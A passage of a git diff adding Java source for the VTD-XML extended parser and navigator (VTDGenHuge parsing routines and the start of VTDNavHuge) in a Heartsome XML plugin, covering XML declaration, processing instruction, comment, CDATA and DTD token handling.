FORMAT_ISO_8859_7; + r = new ISO8859_7Reader(); + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('8') ){ + encoding = FORMAT_ISO_8859_8; + r = new ISO8859_8Reader(); + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + }else if (r.skipChar('9')){ + encoding = FORMAT_ISO_8859_9; + r = new ISO8859_9Reader(); + writeVTD(temp_offset, 10, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + if (r.skipChar(ch_temp)) + return; + } else + throw new ParseExceptionHuge( + "XML decl error: Can't switch encoding to ISO-8859" + + formatLineNumber()); + } + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + } + /** + * This private method processes declaration attributes + * @return the parser state after which the parser loop jumps to + * @throws ParseExceptionHuge + * @throws EncodingExceptionHuge + * @throws EOFExceptionHuge + */ + private int process_dec_attr() throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge{ + //int length1; + int parser_state; + if (ch == 'v' + && r.skipChar('e') + && r.skipChar('r') + && r.skipChar('s') + && r.skipChar('i') + && r.skipChar('o') + && r.skipChar('n')) { + ch = getCharAfterS(); + if (ch == '=') { + /*System.out.println( + " " + (temp_offset - 1) + " " + 7 + " dec attr name version " + depth);*/ + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset - 1, + 7, + TOKEN_DEC_ATTR_NAME, + depth); + else + writeVTD( + (temp_offset -2) >> 1, + 7, + TOKEN_DEC_ATTR_NAME, + depth); + } else + throw new ParseExceptionHuge( + "XML decl error: Invalid char" + + formatLineNumber()); + } else + throw new ParseExceptionHuge( + "XML decl error: should be version" + + formatLineNumber()); + ch_temp = getCharAfterS(); + if (ch_temp != '\'' && ch_temp != '"') + throw new ParseExceptionHuge( + "XML decl error: Invalid char to start attr name" + + formatLineNumber()); + temp_offset = offset; + // support 1.0 or 1.1 + if (r.skipChar('1') + && r.skipChar('.') + && (r.skipChar('0') || r.skipChar('1'))) { + /*System.out.println( + " " + temp_offset + " " + 3 + " dec attr val (version)" + depth);*/ + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + else + writeVTD( + temp_offset >> 1, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseExceptionHuge( + "XML decl error: Invalid version(other than 1.0 or 1.1) detected" + + formatLineNumber()); + if (!r.skipChar(ch_temp)) + throw new ParseExceptionHuge( + "XML decl error: version not terminated properly" + + formatLineNumber()); + ch = r.getChar(); + //? space or e + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + temp_offset = offset - increment; + if (ch == 'e') { + if (r.skipChar('n') + && r.skipChar('c') + && r.skipChar('o') + && r.skipChar('d') + && r.skipChar('i') + && r.skipChar('n') + && r.skipChar('g')) { + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) + ch = getCharAfterS(); + if (ch == '=') { + /*System.out.println( + " " + (temp_offset) + " " + 8 + " dec attr name (encoding) " + depth);*/ + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + 8, + TOKEN_DEC_ATTR_NAME, + depth); + else + writeVTD( + temp_offset >> 1, + 8, + TOKEN_DEC_ATTR_NAME, + depth); + } else + throw new ParseExceptionHuge( + "XML decl error: Invalid char" + + formatLineNumber()); + ch_temp = getCharAfterS(); + if (ch_temp != '"' && ch_temp != '\'') + throw new ParseExceptionHuge( + "XML decl error: Invalid char to start attr name" + + formatLineNumber()); + temp_offset = offset; + ch = r.getChar(); + switch (ch) { + case 'a' : + case 'A' : + if ((r.skipChar('s') + || r.skipChar('S')) + && (r.skipChar('c') + || r.skipChar('C')) + && (r.skipChar('i') + || r.skipChar('I')) + && (r.skipChar('i') + || r.skipChar('I')) + && r.skipChar(ch_temp)) { + if (encoding != FORMAT_UTF_16LE + && encoding + != FORMAT_UTF_16BE) { + if (must_utf_8) + throw new EncodingExceptionHuge("Can't switch from UTF-8" + + formatLineNumber()); + encoding = FORMAT_ASCII; + r = new ASCIIReader(); + /*System.out.println( + " " + (temp_offset) + " " + 5 + " dec attr val (encoding) " + depth);*/ + + writeVTD( + temp_offset, + 5, + TOKEN_DEC_ATTR_VAL, + depth); + + break; + } else + throw new ParseExceptionHuge( + "XML decl error: Can't switch encoding to ASCII" + + formatLineNumber()); + } + throw new ParseExceptionHuge( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + case 'c': + case 'C': + matchCPEncoding(); + break; + case 'i' : + case 'I' : + matchISOEncoding(); + break; + case 'u' : + case 'U' : + matchUTFEncoding(); + break; + // now deal with windows encoding + case 'w' : + case 'W' : + matchWindowsEncoding(); + break; + default : + throw new ParseExceptionHuge( + "XML decl Error: invalid encoding" + + formatLineNumber()); + } + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) + ch = getCharAfterS(); + temp_offset = offset - increment; + } else + throw new ParseExceptionHuge( + "XML decl Error: Invalid char" + + formatLineNumber()); + } + + if (ch == 's') { + if (r.skipChar('t') + && r.skipChar('a') + && r.skipChar('n') + && r.skipChar('d') + && r.skipChar('a') + && r.skipChar('l') + && r.skipChar('o') + && r.skipChar('n') + && r.skipChar('e')) { + + ch = getCharAfterS(); + if (ch != '=') + throw new ParseExceptionHuge( + "XML decl error: Invalid char" + + formatLineNumber()); + /*System.out.println( + " " + temp_offset + " " + 3 + " dec attr name (standalone) " + depth);*/ + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + 10, + TOKEN_DEC_ATTR_NAME, + depth); + else + writeVTD( + temp_offset >> 1, + 10, + TOKEN_DEC_ATTR_NAME, + depth); + ch_temp = getCharAfterS(); + temp_offset = offset; + if (ch_temp != '"' && ch_temp != '\'') + throw new ParseExceptionHuge( + "XML decl error: Invalid char to start attr name" + + formatLineNumber()); + ch = r.getChar(); + if (ch == 'y') { + if (r.skipChar('e') + && r.skipChar('s') + && r.skipChar(ch_temp)) { + /*System.out.println( + " " + (temp_offset) + " " + 3 + " dec attr val (standalone) " + depth);*/ + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + else + writeVTD( + temp_offset >> 1, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseExceptionHuge( + "XML decl error: invalid val for standalone" + + formatLineNumber()); + } else if (ch == 'n') { + if (r.skipChar('o') + && r.skipChar(ch_temp)) { + /*System.out.println( + " " + (temp_offset) + " " + 2 + " dec attr val (standalone)" + depth);*/ + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + 2, + TOKEN_DEC_ATTR_VAL, + depth); + else + writeVTD( + temp_offset >> 1, + 2, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseExceptionHuge( + "XML decl error: invalid val for standalone" + + formatLineNumber()); + } else + throw new ParseExceptionHuge( + "XML decl error: invalid val for standalone" + + formatLineNumber()); + } else + throw new ParseExceptionHuge( + "XML decl error" + formatLineNumber()); + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) + ch = getCharAfterS(); + } + } + + if (ch == '?' && r.skipChar('>')) { + temp_offset = offset; + ch = getCharAfterS(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else + throw new ParseExceptionHuge( + "Other Error: Invalid Char in XML" + + formatLineNumber()); + } else + throw new ParseExceptionHuge( + "XML decl Error: Invalid termination sequence" + + formatLineNumber()); + return parser_state; + } + /** + * This private method processes PI tag + * @return the parser state after which the parser loop jumps to + * @throws ParseExceptionHuge + * @throws EncodingExceptionHuge + * @throws EOFExceptionHuge + */ + private int process_pi_tag() throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge{ + long length1; + int parser_state; + while (true) { + ch = r.getChar(); + if (!XMLChar.isNameChar(ch)) + break; + } + + length1 = offset - temp_offset - increment; + /*System.out.println( + ((char) XMLDoc[temp_offset]) + + " " + + (temp_offset) + + " " + + length1 + + " PI Target " + + depth); */ + if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseExceptionHuge("Token Length Error:" + +" PI name too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + (temp_offset), + length1, + TOKEN_PI_NAME, + depth); + } + else{ + if(length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseExceptionHuge("Token Length Error:" + +" PI name too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + (temp_offset) >> 1, + (length1 >> 1), + TOKEN_PI_NAME, + depth); + } + //length1 = 0; + /*temp_offset = offset; + if (XMLChar.isSpaceChar(ch)) { + ch = r.getChar(); + }*/ + if (ch == '?') { + if (r.skipChar('>')) { + temp_offset = offset; + ch = getCharAfterSe(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseExceptionHuge( + "Error in text content: Invalid char" + + formatLineNumber()); + return parser_state; + } else + throw new ParseExceptionHuge( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + } + parser_state = STATE_PI_VAL; + return parser_state; + } + /** + * This private method processes PI val + * @return the parser state after which the parser loop jumps to + * @throws ParseExceptionHuge + * @throws EncodingExceptionHuge + * @throws EOFExceptionHuge + */ + private int process_pi_val() throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge{ + int parser_state; + long length1; + if (!XMLChar.isSpaceChar(ch)) + throw new ParseExceptionHuge( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + temp_offset = offset; + ch = r.getChar(); + while (true) { + if (XMLChar.isValidChar(ch)) { + //System.out.println(""+(char)ch); + if (ch == '?') + if (r.skipChar('>')) { + break; + } /*else + throw new ParseExceptionHuge( + "Error in PI: invalid termination sequence for PI" + + formatLineNumber());*/ + } else + throw new ParseExceptionHuge( + "Errors in PI: Invalid char in PI val" + + formatLineNumber()); + ch = r.getChar(); + } + length1 = offset - temp_offset - (increment<<1); + /*System.out.println( + ((char) XMLDoc[temp_offset]) + + " " + + (temp_offset) + + " " + + length1 + + " PI val " + + depth);*/ + if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseExceptionHuge("Token Length Error:" + +"PI VAL too long (>0xfffff)" + + formatLineNumber()); + writeVTD(temp_offset, + length1, + TOKEN_PI_VAL, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseExceptionHuge("Token Length Error:" + +"PI VAL too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_PI_VAL, + depth); + } + //length1 = 0; + temp_offset = offset; + ch = getCharAfterSe(); + + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + //temp_offset = offset; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + + } + parser_state = STATE_TEXT; + }else + throw new ParseExceptionHuge( + "Error in text content: Invalid char" + + formatLineNumber()); + return parser_state; + + } + /** + * This private method process comment + * @return the parser state after which the parser loop jumps to + * @throws ParseExceptionHuge + * @throws EncodingExceptionHuge + * @throws EOFExceptionHuge + */ + private int process_comment() throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge{ + int parser_state; + long length1; + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch)) { + if (ch == '-' && r.skipChar('-')) { + length1 = + offset - temp_offset - (increment<<1); + break; + } + } else + throw new ParseExceptionHuge( + "Error in comment: Invalid Char" + + formatLineNumber()); + } + if (r.getChar() == '>') { + //System.out.println(" " + (temp_offset) + " " + length1 + " comment " + depth); + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + length1, + TOKEN_COMMENT, + depth); + else + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_COMMENT, + depth); + //length1 = 0; + temp_offset = offset; + ch = getCharAfterSe(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + //temp_offset = offset; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseExceptionHuge( + "Error in text content: Invalid char" + + formatLineNumber()); + return parser_state; + } else + throw new ParseExceptionHuge( + "Error in comment: Invalid terminating sequence" + + formatLineNumber()); + } + private int process_end_doc() throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge { + int parser_state; + ch = getCharAfterS(); + /* eof exception should be thrown here for premature ending*/ + if (ch == '<') { + + if (r.skipChar('?')) { + /* processing instruction after end tag of root element*/ + temp_offset = offset; + parser_state = STATE_END_PI; + return parser_state; + } else if ( + r.skipChar('!') + && r.skipChar('-') + && r.skipChar('-')) { + // comments allowed after the end tag of the root element + temp_offset = offset; + parser_state = STATE_END_COMMENT; + return parser_state; + } + } + throw new ParseExceptionHuge( + "Other Error: XML not terminated properly" + + formatLineNumber()); + } + private int process_qm_seen()throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge { + temp_offset = offset; + ch = r.getChar(); + if (XMLChar.isNameStartChar(ch)) { + //temp_offset = offset; + if ((ch == 'x' || ch == 'X') + && (r.skipChar('m') || r.skipChar('M')) + && (r.skipChar('l') || r.skipChar('L'))) { + ch = r.getChar(); + if (ch == '?' + || XMLChar.isSpaceChar(ch)) + throw new ParseExceptionHuge( + "Error in PI: [xX][mM][lL] not a valid PI targetname" + + formatLineNumber()); + offset = getPrevOffset(); + } + return STATE_PI_TAG; + } + throw new ParseExceptionHuge( + "Other Error: First char after ')) { + break; + } /*else + throw new ParseExceptionHuge( + "Error in CDATA: Invalid termination sequence" + + formatLineNumber());*/ + } + } else + throw new ParseExceptionHuge( + "Error in CDATA: Invalid Char" + + formatLineNumber()); + } + length1 = offset - temp_offset - (increment<<1) - increment; + if (encoding < FORMAT_UTF_16BE){ + + writeVTD( + temp_offset, + length1, + TOKEN_CDATA_VAL, + depth); + } + else { + + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_CDATA_VAL, + depth); + } + //System.out.println(" " + (temp_offset) + " " + length1 + " CDATA " + depth); + ch = getCharAfterSe(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + temp_offset = offset-1; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + temp_offset = offset-1; + entityIdentifier(); + parser_state = STATE_TEXT; + //temp_offset = offset; + } else if (ch == ']') { + temp_offset = offset-1; + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseExceptionHuge( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseExceptionHuge( + "Other Error: Invalid char in xml" + + formatLineNumber()); + return parser_state; + } + + /** + * This private method process DTD + * @return the parser state after which the parser loop jumps to + * @throws ParseExceptionHuge + * @throws EncodingExceptionHuge + * @throws EOFExceptionHuge + */ + private int process_doc_type() throws ParseExceptionHuge,EncodingExceptionHuge, EOFExceptionHuge{ + int z = 1, parser_state; + long length1; + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch)) { + if (ch == '>') + z--; + else if (ch == '<') + z++; + if (z == 0) + break; + } else + throw new ParseExceptionHuge( + "Error in DOCTYPE: Invalid char" + + formatLineNumber()); + } + length1 = offset - temp_offset - increment; + /*System.out.println( + " " + (temp_offset) + " " + length1 + " DOCTYPE val " + depth);*/ + if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseExceptionHuge("Token Length Error:" + +" DTD val too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset, + length1, + TOKEN_DTD_VAL, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseExceptionHuge("Token Length Error:" + +" DTD val too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_DTD_VAL, + depth); + } + ch = getCharAfterS(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else + throw new ParseExceptionHuge( + "Other Error: Invalid char in xml" + + formatLineNumber()); + return parser_state; + } + + /** + * This private method processes PI after root document + * @return the parser state after which the parser loop jumps to + * @throws ParseExceptionHuge + * @throws EncodingExceptionHuge + * @throws EOFExceptionHuge + */ + private int process_end_pi() throws ParseExceptionHuge,EncodingExceptionHuge, EOFExceptionHuge{ + long length1;int parser_state; + ch = r.getChar(); + if (XMLChar.isNameStartChar(ch)) { + if ((ch == 'x' || ch == 'X') + && (r.skipChar('m') || r.skipChar('M')) + && (r.skipChar('l') && r.skipChar('L'))) { + //temp_offset = offset; + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch) || ch == '?') + throw new ParseExceptionHuge( + "Error in PI: [xX][mM][lL] not a valid PI target" + + formatLineNumber()); + //offset = temp_offset; + } + + while (true) { + //ch = getChar(); + if (!XMLChar.isNameChar(ch)) { + break; + } + ch = r.getChar(); + } + + length1 = offset - temp_offset - increment; + /*System.out.println( + "" + + (char) XMLDoc[temp_offset] + + " " + + (temp_offset) + + " " + + length1 + + " PI Target " + + depth);*/ + if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseExceptionHuge("Token Length Error:" + +"PI name too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset, + length1, + TOKEN_PI_NAME, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseExceptionHuge("Token Length Error:" + +"PI name too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_PI_NAME, + depth); + } + //length1 = 0; + temp_offset = offset; + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + + while (true) { + if (XMLChar.isValidChar(ch)) { + if (ch == '?') + if (r.skipChar('>')) { + parser_state = STATE_DOC_END; + break; + } else + throw new ParseExceptionHuge( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + } else + throw new ParseExceptionHuge( + "Error in PI: Invalid char in PI val" + + formatLineNumber()); + ch = r.getChar(); + } + length1 = offset - temp_offset - (increment<<1); + if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseExceptionHuge("Token Length Error:" + +"PI val too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset, + length1, + TOKEN_PI_VAL, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseExceptionHuge("Token Length Error:" + +"PI val too long (>0xfffff)" + + formatLineNumber()); + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_PI_VAL, + depth); + } + //System.out.println(" " + temp_offset + " " + length1 + " PI val " + depth); + } else { + if ((ch == '?') && r.skipChar('>')) { + parser_state = STATE_DOC_END; + } else + throw new ParseExceptionHuge( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + } + //parser_state = STATE_DOC_END; + } else + throw new ParseExceptionHuge("Error in PI: invalid char in PI target" + +formatLineNumber()); + return parser_state; + } + /** + * This private method process the comment after the root document + * @return the parser state after which the parser loop jumps to + * @throws ParseExceptionHuge + */ + private int process_end_comment()throws ParseExceptionHuge { + int parser_state; + long length1; + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch)) { + if (ch == '-' && r.skipChar('-')) { + length1 = + offset - temp_offset - (increment<<1); + break; + } + } else + throw new ParseExceptionHuge( + "Error in comment: Invalid Char" + + formatLineNumber()); + } + if (r.getChar() == '>') { + //System.out.println(" " + temp_offset + " " + length1 + " comment " + depth); + if (encoding < FORMAT_UTF_16BE) + writeVTD( + temp_offset, + length1, + TOKEN_COMMENT, + depth); + else + writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_COMMENT, + depth); + //length1 = 0; + parser_state = STATE_DOC_END; + return parser_state; + } + throw new ParseExceptionHuge( + "Error in comment: '-->' expected" + + formatLineNumber()); + + } + /** + * Set the XMLDoc container. + * @param XMLBuffer xb1 + */ + public void setDoc(IByteBuffer xb1) { + xb = xb1; + + int a; + br = false; + depth = -1; + increment =1; + BOM_detected = false; + must_utf_8 = false; + ch = ch_temp = 0; + temp_offset = 0; + + docOffset = offset = 0; + //System.out.println("doc length is "+xb.length()); + docLen = xb.length(); + endOffset = xb.length(); + last_l1_index= last_l2_index = last_l3_index = last_depth =0; + int i1=7,i2=9,i3=11; + if (docLen <= 1024) { + //a = 1024; //set the floor + a = 6; i1=5; i2=5;i3=5; + } else if (docLen <=4096){ + a = 7; i1=6; i2=6; i3=6; + }else if (docLen <=1024*16){ + a =8; i1 = 7;i2=7;i3=7; + }else if (docLen <= 1024 * 16 * 4) { + //a = 2048; + a = 11; + } else if (docLen <= 1024 * 256) { + //a = 1024 * 4; + a = 12; + } else if (docLen <= (1<<26)){ + //a = 1 << 15; + i1 = i2 = i3 = 12; + a = 15; + } else if (docLen <= (1<<30 )){ + //a = 1 << 15; + i1 = i2 = i3 = 13; + a = 19; + } else { + i1 = i2 = i3 = 16; + a = 23; + } + + VTDBuffer = new FastLongBuffer(a, (int) (xb.length()>> (a+1))); + l1Buffer = new FastLongBuffer(i1); + l2Buffer = new FastLongBuffer(i2); + l3Buffer = new FastIntBuffer(i3); + } + /** + * Write the VTD and LC into their storage container. + * @param offset int + * @param length int + * @param token_type int + * @param depth int + */ + private void writeVTD(long offset, long length, int token_type, int depth) { + /*System.out.print(" type "+token_type); + System.out.print(" length "+ Long.toHexString(length)+" length "+length); + System.out.print(" prefix length " + (length>>10)); + System.out.print(" qn length " + (length & 0x3ff)); + System.out.print(" offset "+offset); + System.out.println(" depth "+depth);*/ + switch (token_type) { + case TOKEN_CHARACTER_DATA: + case TOKEN_CDATA_VAL: + case TOKEN_COMMENT: + + if (length > MAX_TOKEN_LENGTH) { + long k; + long r_offset = offset; + for (k = length; k > MAX_TOKEN_LENGTH; k = k - MAX_TOKEN_LENGTH) { + VTDBuffer.append(((long) ((token_type << 22) + | ((depth & 0x1f) << 17) | MAX_TOKEN_LENGTH) << 38) + | r_offset); + /*VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | MAX_TOKEN_LENGTH) << 32) + | r_offset);*/ + r_offset += MAX_TOKEN_LENGTH; + } + VTDBuffer.append(((long) ((token_type << 22) + | ((depth & 0x1f) << 17) | k) << 38) + | r_offset); + /*VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | k) << 32) + | r_offset);*/ + } else { + VTDBuffer.append(((long) ((token_type << 22) + | ((depth & 0x1f) << 17) | length) << 38) + | offset); + /*VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | length) << 32) + | offset);*/ + } + break; + + //case TOKEN_ENDING_TAG: break; + default: + VTDBuffer.append(((long) ((token_type << 22) + | ((depth & 0x1f) << 17) | length) << 38) + | offset); + /*VTDBuffer.append(((long) ((token_type << 28) + | ((depth & 0xff) << 20) | length) << 32) + | offset);*/ + } + // remember VTD depth start from zero + if (token_type == TOKEN_STARTING_TAG) { + switch (depth) { + case 0: + rootIndex = VTDBuffer.size() - 1; + break; + case 1: + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) | 0xffffffffL); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } + last_l1_index = VTDBuffer.size() - 1; + last_depth = 1; + break; + case 2: + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) + + l2Buffer.size()); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } + last_l2_index = VTDBuffer.size() - 1; + last_depth = 2; + break; + + case 3: + l3Buffer.append(VTDBuffer.size() - 1); + if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) + + l3Buffer.size() - 1); + } + last_depth = 3; + break; + default: + //rootIndex = VTDBuffer.size() - 1; + } + + } /*else if (token_type == TOKEN_ENDING_TAG && (depth == 0)) { + if (last_depth == 1) { + l1Buffer.append(((long) last_l1_index << 32) | 0xffffffffL); + } else if (last_depth == 2) { + l2Buffer.append(((long) last_l2_index << 32) | 0xffffffffL); + } + }*/ + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDNavHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDNavHuge.java new file mode 100644 index 0000000..72d6c77 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDNavHuge.java @@ -0,0 +1,4301 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +/* + * + * this class is created to update VTDNavHuge's implementation with + * a more thread safe version + */ +package com.ximpleware.extended; + +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; + +//import com.ximpleware.extended.parser.UTF8Char; +import com.ximpleware.BookMark; +import com.ximpleware.NavException; +import com.ximpleware.VTDNav; +import com.ximpleware.extended.parser.*; + +//import com.ximpleware.NavException; + + + +/** + * + * VTDNavHuge is a cursor-based VTD record navigator supporting extended VTD (256 GB max file size). + * The core navigation routines are toElement() and toElementNS() + * push() and pop() allows one to save and restore the location of the cursor + * String comparsions and primitive data type conversions are done directly from VTD records + * without intermediatary string creation. + */ +public class VTDNavHuge { + // Navigation directions + public final static int ROOT = 0; + public final static int PARENT = 1; + public final static int FIRST_CHILD = 2; + public final static int LAST_CHILD = 3; + public final static int NEXT_SIBLING = 4; + public final static int PREV_SIBLING = 5; + + // Navigation directions + public final static int R = 0; + public final static int P = 1; + public final static int FC = 2; + public final static int LC = 3; + public final static int NS = 4; + public final static int PS = 5; + + // token type definitions + public final static int TOKEN_STARTING_TAG = 0; + public final static int TOKEN_ENDING_TAG = 1; + public final static int TOKEN_ATTR_NAME = 2; + public final static int TOKEN_ATTR_NS = 3; + public final static int TOKEN_ATTR_VAL = 4; + public final static int TOKEN_CHARACTER_DATA = 5; + public final static int TOKEN_COMMENT = 6; + public final static int TOKEN_PI_NAME = 7; + public final static int TOKEN_PI_VAL = 8; + public final static int TOKEN_DEC_ATTR_NAME = 9; + public final static int TOKEN_DEC_ATTR_VAL = 10; + public final static int TOKEN_CDATA_VAL = 11; + public final static int TOKEN_DTD_VAL = 12; + public final static int TOKEN_DOCUMENT =13; + + // encoding format definition here + public final static int FORMAT_UTF8 = 2; + public final static int FORMAT_ASCII = 0; + + public final static int FORMAT_ISO_8859_1 = 1; + public final static int FORMAT_ISO_8859_2 = 3; + public final static int FORMAT_ISO_8859_3 = 4; + public final static int FORMAT_ISO_8859_4 = 5; + public final static int FORMAT_ISO_8859_5 = 6; + public final static int FORMAT_ISO_8859_6 = 7; + public final static int FORMAT_ISO_8859_7 = 8; + public final static int FORMAT_ISO_8859_8 = 9; + public final static int FORMAT_ISO_8859_9 = 10; + public final static int FORMAT_ISO_8859_10 = 11; + public final static int FORMAT_ISO_8859_11 = 12; + public final static int FORMAT_ISO_8859_12 = 13; + public final static int FORMAT_ISO_8859_13 = 14; + public final static int FORMAT_ISO_8859_14 = 15; + public final static int FORMAT_ISO_8859_15 = 16; + public final static int FORMAT_ISO_8859_16 = 17; + + public final static int FORMAT_WIN_1250 = 18; + public final static int FORMAT_WIN_1251 = 19; + public final static int FORMAT_WIN_1252 = 20; + public final static int FORMAT_WIN_1253 = 21; + public final static int FORMAT_WIN_1254 = 22; + public final static int FORMAT_WIN_1255 = 23; + public final static int FORMAT_WIN_1256 = 24; + public final static int FORMAT_WIN_1257 = 25; + public final static int FORMAT_WIN_1258 = 26; + + + public final static int FORMAT_UTF_16LE = 64; + public final static int FORMAT_UTF_16BE = 63; + // masks for obtaining various fields from a VTD token 16-bit long + protected final static long MASK_TOKEN_FULL_LEN = 0x007fffc000000000L; + private final static long MASK_TOKEN_PRE_LEN = 0x007f000000000000L; + private final static long MASK_TOKEN_QN_LEN = 0x0000ffc000000000L; + private final static long MASK_TOKEN_OFFSET = 0x0000003fffffffffL; + private final static long MASK_TOKEN_TYPE = 0xf000000000000000L; + private final static long MASK_TOKEN_DEPTH = 0x0f80000000000000L; + + // tri-state variable for namespace lookup + //private final static long MASK_TOKEN_NS_MARK = 0x00000000c0000000L; + + protected int rootIndex; // where the root element is at + protected int nestingLevel; + protected 